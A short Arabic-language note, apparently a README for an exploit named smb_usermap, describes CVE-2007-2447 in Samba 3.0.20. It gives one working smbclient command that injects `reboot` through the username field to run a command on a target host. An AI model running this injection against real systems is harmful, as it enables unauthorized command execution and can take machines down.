smb_usermap

استغلال بسيط للثغرة CVE-2007-2447 الموجودة في Samba 3.0.20.

يمكنك استغلال هذه الثغرة حتى بأقل من هذا، على سبيل المثال، باستخدام smbclient، لكن أعتقد أنه من الصعب تنفيذ أوامر معقدة، لأن الكثير من الأحرف الخاصة ربما يتم ابتلاعها، لكن يمكن تمرير أمر بسيط (إعادة التشغيل في هذه الحالة) مثل هذا:

smbclient -L <target IP> --user="/=\`reboot\`" -N